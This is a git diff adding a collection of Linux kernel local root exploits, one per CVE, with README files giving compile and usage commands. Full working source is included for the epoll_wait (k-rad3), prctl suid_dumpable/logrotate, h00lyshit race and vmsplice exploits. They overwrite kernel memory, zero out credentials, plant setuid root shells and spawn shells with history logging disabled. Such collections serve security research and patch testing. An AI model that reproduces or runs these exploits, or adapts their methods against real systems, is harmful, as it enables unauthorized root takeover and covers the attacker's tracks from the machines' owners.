0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 +* +*[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2 +*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ] +*[ Discovered Jan 2005 by sd ] +*[ Modified 2005/9 by alert7 ] +*[+] try open /proc/cpuinfo .. ok!! +*[+] find cpu flag pse in /proc/cpuinfo +*[+] CONFIG_X86_PAE :none +*[+] Cpu flag: pse ok +*[+] Exploit Way : 0 +*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n) +*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 +*[+] idtr.base 0xc0461000 ,base 0xc0000000 +*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196 +*[+] idt[0x7f] addr 0xffc003f8 +*[+] j00 1u(k7 k1d! +*[root@k-rad3 ~] #id +*uid=0(root) gid=0(root) groups=500(alert7) +* +* +* Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit +* +* "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) +* memory due to integer overflow in sys_epoll_wait and misuse of +* __put_user in ep_send_events" +* Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html +* +********************************************************************* +* +* +* In memory of pwned.c (uselib) +* +* - Redistributions of source code is not permitted. +* - Redistributions in the binary form is not permitted. +* - Redistributions of the above copyright notice, this list of conditions, +* and the following disclaimer is permitted. +* - By proceeding to a Redistribution and under any form of the Program +* the Distributor is granting ownership of his Resources without +* limitations to the copyright holder(s). +* +* +* Since we already owned everyone, theres no point keeping this private +* anymore. +* +* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html +* +* Thanks to our internet hero georgi guninski for being such incredible +* whitehat disclosing one of the most reliable kernel bugs. +* You saved the world, man, we owe you one! +* +* This version is somewhat broken, but skilled reader will get an idea. +* Well, at least let the scriptkids have fun for a while. +* +* Thanks to all who helped me developing/testing this, you know who you are, +* and especially to my gf for guidance while coding this. +* +*/ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifndef __USE_GNU + #define __USE_GNU +#endif +#include +#include +#include +#include + +/** + * Relationship Variables + * + * 1: CONFIG_X86_PAE + * see /lib/modules/`uname -r`/build/.config + * 1.1: pse + * 2: THREAD_SIZE + * see include/asm/thread_info.h THREAD_SIZE define + */ + + +#define MAP (0xfffff000 - (1023*4096)) +#define MAP_PAE (0xfffff000 - (511*4096)) +#define MKPTE(addr) ((addr & (~4095)) | 0x27) +#define MKPMD(x) (0x1e3|0x004) + +//////////////////////////////////////////////// + +#define KRADPS1 "k-rad3" + +#define kB * 1024 +#define MB * 1024 kB +#define GB * 1024 MB + +#define KRS "\033[1;30m[ \033[1;37m" +#define KRE "\033[1;30m ]\033[0m" +#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m " +#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m " +#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m " + +#define SET_IDT_GATE(idt,ring,s,addr) \ + (idt).off1 = addr & 0xffff; \ + (idt).off2 = addr >> 16; \ + (idt).sel = s; \ + (idt).none = 0; \ + (idt).flags = 0x8E | (ring << 5); + +//config val +static int havepse = 0; +static int definePAE = 0; +static int exploitway = 0; +static int npages = 1; +static int thread_size = 0; + + +static uid_t uid = 0; +static unsigned long long *clear1; +static char * progargv0; + +struct idtr { + unsigned short limit; + unsigned int base; +} __attribute__ ((packed)); + +struct idt { + unsigned short off1; + unsigned short sel; + unsigned char none,flags; + unsigned short off2; +} __attribute__ ((packed)); + + + +#define __syscall_return(type, res) \ +do { \ + if ((unsigned long)(res) >= (unsigned long)(-125)) { \ + errno = -(res); \ + res = -1; \ + } \ + return (type) (res); \ +} while (0) + + +#define _capget_macro(type,name,type1,arg1,type2,arg2) \ + type name(type1 arg1,type2 arg2) \ + { \ + long __res; \ + __asm__ volatile ( "int $0x80" \ + : "=a" (__res) \ + : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \ + __syscall_return(type,__res); \ + } + +static inline _capget_macro(int,capget,void *,a,void *,b); + +static int THREAD_SIZE_MASK =(-4096); + + +static void +fatal(const char *message) +{ + system("uname -a"); + printf("[-] %s\n",message); + exit(1); +} + +void kernel(unsigned * task) +{ + unsigned * addr = task; + /* looking for uids */ + + *clear1 = 0; + + while (addr[0] != uid || addr[1] != uid || + addr[2] != uid || addr[3] != uid + ) + addr++; + + addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */ + addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */ + +} + +void kcode(void); +void __kcode(void) +{ + asm( + "kcode: \n" + "cld \n" + " pusha \n" + " pushl %es \n" + " pushl %ds \n" + " movl %ss,%edx \n" + " movl %edx,%es \n" + " movl %edx,%ds \n"); + __asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) ); + asm( + " andl %esp,%eax \n" + " pushl (%eax) \n" + " call kernel \n" + " addl $4, %esp \n" + " popl %ds \n" + " popl %es \n" + " popa \n" + " cli \n" + " iret \n" + ); +} + + +void raise_cap(unsigned long *ts) +{ +/* must be on lower addresses because of kernel arg check :) */ +static struct __user_cap_header_struct head; +static struct __user_cap_data_struct data; +static struct __user_cap_data_struct n; + +int i; + +*clear1 = 0; +head.version = 0x19980330; +head.pid = 0; +capget(&head, &data); +/* scan the thread_struct */ +for (i = 0; i < 512; i++, ts++) +{ + /* is it capabilities block? */ + if ( (ts[0] == data.effective) && + (ts[1] == data.inheritable) && + (ts[2] == data.permitted)) + { + /* set effective cap to some val */ + ts[0] = 0x12341234; + capget(&head, &n); + /* and test if it has changed */ + if (n.effective == ts[0]) + { + /* if so, we're in :) */ + ts[0] = ts[1] = ts[2] = 0xffffffff; + return; + } + /* otherwise fix back the stuff + (if we've not crashed already :) */ + ts[0] = data.effective; + } +} +return; +} + + +void stub(void); +void __stub(void) +{ + asm ( + "stub:;" + " pusha;" + ); + __asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) ); + asm( + " and %esp, %eax;" + " pushl (%eax);" + " call raise_cap;" + " pop %eax;" + " popa;" + " iret;" + ); + +} + + +/* write to kernel from buf, num bytes */ +static int +kwrite(unsigned base, char *buf, int num) +{ +#define DIV 256 +#define RES 4 + +int efd, c, i, fd; +int pi[2]; +struct epoll_event ev; +int *stab; +unsigned long ptr; +int count; +unsigned magic = 0xffffffff / 12 + 1; + + printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num); + /* initialize epoll */ + efd = epoll_create(4096); + if (efd < 0) + return -1; + + ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP; + + /* 12 bytes per fd + one more to be safely in stack space */ + count = (num+11)/12+RES; + + /* desc array */ + stab = alloca((count+DIV-1)/DIV*sizeof(int)); + + for (i = 0; i < ((count+DIV-1)/DIV)+1; i++) + { + + if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0) + return -1; + + send(pi[0], "a", 1, 0); + stab[i] = pi[1]; + } + + /* highest fd and first descriptor */ + fd = pi[1]; + /* we've to allocate this separately because we need to have + it's fd preserved - using this we'll be writing actual bytes */ + epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev); + //printf("EPOLL_CTL_ADD count %u\n",count); + for (i = 0, c = 0; i < (count-1); i++) + { + int n; + n = dup2(stab[i/DIV], fd+2+(i % DIV)); + if (n < 0) + return -1; + epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev); + close(n); + } + + /* in 'n' we've the latest fd we're using to write data */ + for (i = 0; i < ((num+7)/8); i++) + { + /* data being written from end */ + memcpy(&ev.data, buf + num - 8 - i * 8, 8); + epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev); + + /* the actual kernel magic */ + ptr = (base + num - (i*8)) - (count * 12); + struct epoll_event *events =(struct epoll_event *)ptr; + //printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic); + int iret =epoll_wait(efd, (void *) ptr, magic, 31337); + if (iret ==-1) + { + perror("epoll_wait"); + fatal("This kernel not vulnerability!!!"); + + } + /* don't ask why (rotten rb-trees) :) */ + if (i) + { + //printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic); + iret = epoll_wait(efd, (void *)ptr, magic, 31337); + if (iret ==-1) + { + perror("epoll_wait"); + fatal("This kernel not vulnerability!!!"); + + } + + } + } + + close(efd); + for (i = 3; i <= fd; i++) + close(i); + + return 0; + +} + +/* real-mode interrupt table fixup - point all interrupts to iret. +let's hope this will shut up apm */ +static void +fixint(char *buf) +{ +unsigned *tab = (void *) buf; +int i; + + for (i = 0; i < 256; i++) + tab[i] = 0x0000400; /* 0000:0400h */ + /* iret */ + buf[0x400] =0xcf; +} + +/* establish pte pointing to virtual addr 'addr' */ +static int +map_pte(unsigned base, int pagenr, unsigned addr) +{ + unsigned *buf = alloca(pagenr * 4096 + 8); + buf[(pagenr) * 1024] = MKPTE(addr); + buf[(pagenr) * 1024+1] = 0; + fixint((void *)buf); + return kwrite(base, (void *)buf, pagenr * 4096 + 4); +} + +/* make pme user can rw */ +static int +map_pme(unsigned base, int pagenr, unsigned addr) +{ + unsigned *buf = alloca(pagenr * 4096 + 32); + buf[(pagenr) * 1024] = MKPMD(addr); + buf[(pagenr) * 1024+1] = 0; + buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000; + buf[(pagenr) * 1024+3] = 0; + fixint((void *)buf); + return kwrite(base, (void *)buf, pagenr * 4096 + 4*3); +} + + +static void +error(int d) +{ + printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n"); + exit(1); +} + + char *bashargv[] = { KRADPS1, NULL }; + char *bashenvp[] = { "TERM=linux", "PS1=[\\u@"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null", + "HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null", + "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL }; + +static int +exploit(unsigned kernelbase, int npages) +{ + struct idt *idt; + struct idtr idtr; + + + + signal(SIGSEGV, error); + signal(SIGBUS, error); + + + /* get idt descriptor addr */ + asm ("sidt %0" : "=m" (idtr)); + /* + * if OS in vmware , idtr.base is not right,please fix it + * [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table + * c0461000 D idt_table + * //idtr.base = 0xc0461000; + */ + + printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase); + + if ( !definePAE ) + { + map_pte(kernelbase, npages, idtr.base - kernelbase); + // idt = pae?(void *)MAP_PAE:(void *)MAP; + idt = (struct idt *)MAP; + }else + { + /* TODO: pse disable case */ + if ( !havepse) + printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n"); + + map_pme(kernelbase, npages, idtr.base - kernelbase); + idt = (struct idt *) idtr.base; + } + +#if 0 + int * p = (int *) idt; + int i; + for (i=0;i<1024;i++,p++) + printf( "* %p 0x%x\n",p,*p); + fflush(stdout); +#endif + + /** + * cleanup the stuff to prevent others spotting the gate + * - must be done from ring 0 + */ + clear1 = (void *) &idt[0x7f]; + printf("[+] idt[0x7f] addr %p\n",clear1); + + if ( exploitway == 0) + { + SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode)); + } + else + { + SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub)); + } + + //[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub)); + /** + * also can use [2] stub function,but it may cause this message + * + * Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531 + * Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1 + * Sep 11 13:11:59 AD4 kernel: [] __might_sleep+0x7d/0x89 + * Sep 11 13:11:59 AD4 kernel: [] sys_capget+0x1d5/0x216 + * Sep 11 13:11:59 AD4 kernel: [] syscall_call+0x7/0xb + * Sep 11 13:11:59 AD4 kernel: [] pipe_writev+0x24/0x320 + * Sep 11 13:11:59 AD4 kernel: [] filp_close+0x59/0x5f + * + */ + + /* call raise_cap or kernel */ + asm ("int $0x7f"); + printf(KRADP "j00 1u(k7 k1d!\n"); + setresuid(0, 0, 0); + setresgid(0, 0, 0); + char cmdbuf[1024]; + snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0); + system(cmdbuf); + + execve("/bin/sh", bashargv, bashenvp); + exit(0); +} + + + +static void +usage(char *n) +{ + + printf("\nUsage: %s\n",n); + printf("\t-s forced cpu flag pse \n"); + printf("\t-a define CONFIG_X86_PAE,default none\n"); + printf("\t-e have two kernel code,default 0\n"); + printf("\t-p alloc pages(4k) ,default 1. Increase from 1 to 7\n" + "\t\tThe higher number the more likely it will crash\n"); + printf("\t-t default 0 \n" + "\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n"); + printf("\n"); + _exit(1); +} + + +/*read /proc/cpuinfo to set havepse*/ +static void +read_proc(void) +{ + FILE * fp; + char * line = NULL; + size_t len = 0; + ssize_t read; + printf("[+] try open /proc/cpuinfo .."); + fp = fopen("/proc/cpuinfo", "r"); + if (fp == NULL) + { + printf(" failed!!\n"); + return; + } + printf(" ok!!\n"); + + int cpus = 0; + int pse = 0; + while ((read = getline(&line, &len, fp)) != -1) + { + + if (strstr(line,"flags")) + { + if(strstr(line ,"pse ")) + { + pse ++; + } + } + + } + fclose(fp); + + if (line) + free(line); + + if ( pse ) + { + printf("[+] find cpu flag pse in /proc/cpuinfo\n"); + havepse = 1; + } + + return ; + +} + +static void +get_config(int ac, char **av) +{ + + uid = getuid(); + progargv0 = av[0]; + + int r; + + while(ac) { + r = getopt(ac, av, "e:p:t:ash"); + + if(r<0) break; + + switch(r) { + + case 's' : + //pse + havepse = 1; + break; + + case 'a' : + //define CONFIG_X86_PAE + definePAE = 1; + break; + + case 'e' : + exploitway = atoi(optarg); + if(exploitway<0) fatal("bad exploitway value"); + break; + + case 'p' : + npages = atoi(optarg); + break; + case 't' : + thread_size = atoi(optarg); + + break; + + case 'h' : + default: + usage(av[0]); + break; + } + } + + THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192); + + read_proc(); +} + +static void +print_config(unsigned long kernebase) +{ + printf("[+] CONFIG_X86_PAE :%s\n", definePAE ?"ok":"none"); + printf("[+] Cpu flag: pse %s\n", havepse ?"ok":"none"); + printf("[+] Exploit Way : %d\n", exploitway); + printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n", + npages,kernebase,kernebase+npages*4 kB); + printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size); + fflush(stdout); +} + + +void prepare(void) +{ + if (geteuid() == 0) + { + setresuid(0, 0, 0); + setresgid(0, 0, 0); + execve("/bin/sh", bashargv, bashenvp); + fatal("[-] Unable to spawn shell"); + } +} + +int +main(int argc, char **argv) +{ + char eater[65536]; + unsigned long kernelbase; + + /* unlink(argv[0]); */ + // sync(); + + printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n" + KRS "Discovered Jan 2005 by sd " KRE "\n" + KRS "Modified 2005/9 by alert7 " KRE "\n"); + + if ( (unsigned long)eater > 0xc0000000) + { + printf("[!Waring!] TODO:use stack > 0xc0000000 \n"); + return 0; + } + + prepare(); + + get_config(argc,argv); + + kernelbase =(unsigned long)eater ; + kernelbase +=0x0fffffff; + kernelbase &=0xf0000000; + + print_config(kernelbase); + + exploit(kernelbase, npages<0?-npages:npages); + + return 0; + +} + +// milw0rm.com [2005-12-30] diff --git a/2005/CVE-2005-0736/README.md b/2005/CVE-2005-0736/README.md new file mode 100644 index 0000000..69952ed --- /dev/null +++ b/2005/CVE-2005-0736/README.md @@ -0,0 +1,19 @@ +# CVE-2005-0736 + +CVE-2005-0736 + +Vulnerability reference: + * [CVE-2005-0736](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-0736) + * [exp-db](https://www.exploit-db.com/exploits/1397/) + +## Kernels +``` +2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11 +``` + +## Usage +``` +gcc -o k-rad3 k-rad3.c -static -O2 +``` + + diff --git a/2006/CVE-2006-2451/2031.c b/2006/CVE-2006-2451/2031.c new file mode 100644 index 0000000..3b5f4d1 --- /dev/null +++ b/2006/CVE-2006-2451/2031.c @@ -0,0 +1,109 @@ + /* + * $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $ + * + * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate) + * Copyright (c) 2006 Marco Ivaldi + * + * The suid_dumpable support in Linux kernel 2.6.13 up to versions before + * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial + * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via + * the PR_SET_DUMPABLE argument of the prctl function and a program that causes + * a core dump file to be created in a directory for which the user does not + * have permissions (CVE-2006-2451). + * + * This exploit uses the logrotate attack vector: of course, you must be able + * to chdir() into the /etc/logrotate.d directory in order to exploit the + * vulnerability. I've experimented a bit with other attack vectors as well, + * with no luck: at (/var/spool/atjobs/) uses file name information to + * establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x + * permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled + * coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c). + * + * Thanks to Solar Designer for the interesting discussion on attack vectors. + * + * NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!! + * + * Usage: + * $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall + * [exploit must be statically linked] + * $ ./raptor_prctl2 + * [please wait until logrotate is run] + * $ ls -l /tmp/pwned + * -rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned + * $ /tmp/pwned + * sh-3.00# id + * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users) + * sh-3.00# + * [don't forget to delete /tmp/pwned!] + * + * Vulnerable platforms: + * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default] + */ + +#include +#include +#include +#include +#include +#include +#include + +#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)" +#define INFO2 "Copyright (c) 2006 Marco Ivaldi " + +char payload[] = /* commands to be executed by privileged logrotate */ +"\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n"; + +char pwnage[] = /* build setuid() helper to circumvent bash checks */ +"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c"; + +int main(void) +{ + int pid; + struct rlimit corelimit; + struct stat st; + + /* print exploit information */ + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); + + /* prepare the setuid() helper */ + system(pwnage); + + /* set core size to unlimited */ + corelimit.rlim_cur = RLIM_INFINITY; + corelimit.rlim_max = RLIM_INFINITY; + setrlimit(RLIMIT_CORE, &corelimit); + + /* let's create a fake logfile in /var/log */ + if (!(pid = fork())) { + chdir("/var/log"); + prctl(PR_SET_DUMPABLE, 2); + sleep(666); + exit(1); + } + kill(pid, SIGSEGV); + + /* let's do the PR_SET_DUMPABLE magic */ + if (!(pid = fork())) { + chdir("/etc/logrotate.d"); + prctl(PR_SET_DUMPABLE, 2); + sleep(666); + exit(1); + } + kill(pid, SIGSEGV); + + /* did it work? */ + sleep(3); + if ((stat("/var/log/core", &st) < 0) || + (stat("/etc/logrotate.d/core", &st) < 0)) { + fprintf(stderr, "Error: Not vulnerable? See comments.\n"); + exit(1); + } + + /* total pwnage */ + fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n"); + exit(0); +} + +// milw0rm.com [2006-07-18] + \ No newline at end of file diff --git a/2006/CVE-2006-2451/README.md b/2006/CVE-2006-2451/README.md new file mode 100644 index 0000000..aff8ffa --- /dev/null +++ b/2006/CVE-2006-2451/README.md @@ -0,0 +1,26 @@ +# CVE-2006-2451 + +CVE-2006-2451 + +Vulnerability reference: + * [CVE-2006-2451](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2451) + * [exp-db](http://www.exploit-db.com/exploits/2031/) + +## Kernels +``` +2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17 +``` + +## Usage +``` +$ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall +[exploit must be statically linked] +$ ./raptor_prctl2 +[please wait until logrotate is run] +$ ls -l /tmp/pwned +-rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned +$ /tmp/pwned +``` + + + diff --git a/2006/CVE-2006-3626/2013.c b/2006/CVE-2006-3626/2013.c new file mode 100644 index 0000000..40e8895 --- /dev/null +++ b/2006/CVE-2006-3626/2013.c @@ -0,0 +1,194 @@ +/* +** Author: h00lyshit +** Vulnerable: Linux 2.6 ALL +** Type of Vulnerability: Local Race +** Tested On : various distros +** Vendor Status: unknown +** +** Disclaimer: +** In no event shall the author be liable for any damages +** whatsoever arising out of or in connection with the use +** or spread of this information. +** Any use of this information is at the user's own risk. +** +** Compile: +** gcc h00lyshit.c -o h00lyshit +** +** Usage: +** h00lyshit +** +** Example: +** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1 +** +** if y0u dont have one, make big file (~100MB) in /tmp with dd +** and try to junk the cache e.g. cat /usr/lib/* >/dev/null +** +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +static struct exec ex; +static char *e[256]; +static char *a[4]; +static char b[512]; +static char t[256]; +static volatile int *c; + + +/* h00lyshit shell code */ +__asm__ (" __excode: call 1f \n" + " 1: mov $23, %eax \n" + " xor %ebx, %ebx \n" + " int $0x80 \n" + " pop %eax \n" + " mov $cmd-1b, %ebx \n" + " add %eax, %ebx \n" + " mov $arg-1b, %ecx \n" + " add %eax, %ecx \n" + " mov %ebx, (%ecx) \n" + " mov %ecx, %edx \n" + " add $4, %edx \n" + " mov $11, %eax \n" + " int $0x80 \n" + " mov $1, %eax \n" + " int $0x80 \n" + " arg: .quad 0x00, 0x00 \n" + " cmd: .string \"/bin/sh\" \n" + " __excode_e: nop \n" + " .global __excode \n" + " .global __excode_e \n" + ); + + + +extern void (*__excode) (void); +extern void (*__excode_e) (void); + + +void +error (char *err) +{ + perror (err); + fflush (stderr); + exit (1); +} + + +/* exploit this shit */ +void +exploit (char *file) +{ + int i, fd; + void *p; + struct stat st; + + printf ("\ntrying to exploit %s\n\n", file); + fflush (stdout); + chmod ("/proc/self/environ", 04755); + c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); + memset ((void *) c, 0, 4096); + + /* slow down machine */ + fd = open (file, O_RDONLY); + fstat (fd, &st); + p = + (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); + if (p == MAP_FAILED) + error ("mmap"); + prctl (PR_SET_DUMPABLE, 0, 0, 0, 0); + sprintf (t, "/proc/%d/environ", getpid ()); + sched_yield (); + execve (NULL, a, e); + madvise (0, 0, MADV_WILLNEED); + i = fork (); + + /* give it a try */ + if (i) + { + (*c)++; + !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise"); + prctl (PR_SET_DUMPABLE, 1, 0, 0, 0); + sched_yield (); + } + else + { + nice(10); + while (!(*c)); + sched_yield (); + execve (t, a, e); + error ("failed"); + } + + waitpid (i, NULL, 0); + exit (0); +} + + +int +main (int ac, char **av) +{ + int i, j, k, s; + char *p; + + memset (e, 0, sizeof (e)); + memset (a, 0, sizeof (a)); + a[0] = strdup (av[0]); + a[1] = strdup (av[0]); + a[2] = strdup (av[1]); + + if (ac < 2) + error ("usage: binary "); + if (ac > 2) + exploit (av[2]); + printf ("\npreparing"); + fflush (stdout); + + /* make setuid a.out */ + memset (&ex, 0, sizeof (ex)); + N_SET_MAGIC (ex, NMAGIC); + N_SET_MACHTYPE (ex, M_386); + s = ((unsigned) &__excode_e) - (unsigned) &__excode; + ex.a_text = s; + ex.a_syms = -(s + sizeof (ex)); + + memset (b, 0, sizeof (b)); + memcpy (b, &ex, sizeof (ex)); + memcpy (b + sizeof (ex), &__excode, s); + + /* make environment */ + p = b; + s += sizeof (ex); + j = 0; + for (i = k = 0; i < s; i++) + { + if (!p[i]) + { + e[j++] = &p[k]; + k = i + 1; + } + } + + /* reexec */ + getcwd (t, sizeof (t)); + strcat (t, "/"); + strcat (t, av[0]); + execve (t, a, e); + error ("execve"); + return 0; +} + +// milw0rm.com [2006-07-15] diff --git a/2006/CVE-2006-3626/README.md b/2006/CVE-2006-3626/README.md new file mode 100644 index 0000000..ae66835 --- /dev/null +++ b/2006/CVE-2006-3626/README.md @@ -0,0 +1,24 @@ +# CVE-2006-3626 + +CVE-2006-3626 + +Vulnerability reference: + * [CVE-2006-3626](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3626) + * [exp-db](https://www.exploit-db.com/exploits/2013/) + +## Kernels +``` +2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16 +``` +## Usage +``` +Compile: +gcc h00lyshit.c -o h00lyshit +** +Usage: +h00lyshit +** +Example: +h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1 +``` + diff --git a/2008/CVE-2008-0600/5093.c b/2008/CVE-2008-0600/5093.c new file mode 100644 index 0000000..67747d0 --- /dev/null +++ b/2008/CVE-2008-0600/5093.c @@ -0,0 +1,147 @@ +/* + * diane_lane_fucked_hard.c + * + * Linux vmsplice Local Root Exploit + * By qaaz + * + * Linux 2.6.23 - 2.6.24 + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#define TARGET_PATTERN " sys_vm86old" +#define TARGET_SYSCALL 113 + +#ifndef __NR_vmsplice +#define __NR_vmsplice 316 +#endif + +#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) +#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4) + +#define TRAMP_CODE (void *) trampoline +#define TRAMP_SIZE ( sizeof(trampoline) - 1 ) + +unsigned char trampoline[] = +"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */ +"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */ +"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */ +"\x75\x02" /* jne +2 */ +"\xff\xd1" /* call *%ecx */ +"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */ +"\xc3" /* ret */ +; + +void die(char *msg, int err) +{ + printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); + fflush(stdout); + fflush(stderr); + exit(1); +} + +long get_target() +{ + FILE *f; + long addr = 0; + char line[128]; + + f = fopen("/proc/kallsyms", "r"); + if (!f) die("/proc/kallsyms", errno); + + while (fgets(line, sizeof(line), f)) { + if (strstr(line, TARGET_PATTERN)) { + addr = strtoul(line, NULL, 16); + break; + } + } + + fclose(f); + return addr; +} + +static inline __attribute__((always_inline)) +void * get_current() +{ + unsigned long curr; + __asm__ __volatile__ ( + "movl %%esp, %%eax ;" + "andl %1, %%eax ;" + "movl (%%eax), %0" + : "=r" (curr) + : "i" (~8191) + ); + return (void *) curr; +} + +static uint uid, gid; + +void kernel_code() +{ + int i; + uint *p = get_current(); + + for (i = 0; i < 1024-13; i++) { + if (p[0] == uid && p[1] == uid && + p[2] == uid && p[3] == uid && + p[4] == gid && p[5] == gid && + p[6] == gid && p[7] == gid) { + p[0] = p[1] = p[2] = p[3] = 0; + p[4] = p[5] = p[6] = p[7] = 0; + p = (uint *) ((char *)(p + 8) + sizeof(void *)); + p[0] = p[1] = p[2] = ~0; + break; + } + p++; + } +} + +int main(int argc, char *argv[]) +{ + int pi[2]; + long addr; + struct iovec iov; + + uid = getuid(); + gid = getgid(); + setresuid(uid, uid, uid); + setresgid(gid, gid, gid); + + printf("-----------------------------------\n"); + printf(" Linux vmsplice Local Root Exploit\n"); + printf(" By qaaz\n"); + printf("-----------------------------------\n"); + + if (!uid || !gid) + die("!@#$", 0); + + addr = get_target(); + printf("[+] addr: 0x%lx\n", addr); + + if (pipe(pi) < 0) + die("pipe", errno); + + iov.iov_base = (void *) addr; + iov.iov_len = TRAMP_SIZE; + + write(pi[1], TRAMP_CODE, TRAMP_SIZE); + _vmsplice(pi[0], &iov, 1, 0); + + gimmeroot(); + + if (getuid() != 0) + die("wtf", 0); + + printf("[+] root\n"); + putenv("HISTFILE=/dev/null"); + execl("/bin/bash", "bash", "-i", NULL); + die("/bin/bash", errno); + return 0; +} + +// milw0rm.com [2008-02-09] diff --git a/2008/CVE-2008-0600/README.md b/2008/CVE-2008-0600/README.md new file mode 100644 index 0000000..4da8000 --- /dev/null +++ b/2008/CVE-2008-0600/README.md @@ -0,0 +1,15 @@ +# CVE-2008-0600 + +CVE-2008-0600 + +Vulnerability reference: + * [CVE-2008-0600](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0600) + * [exp-db](https://www.exploit-db.com/exploits/5093/) + +## Kernels +``` +2.6.23, 2.6.24 +``` + + + diff --git 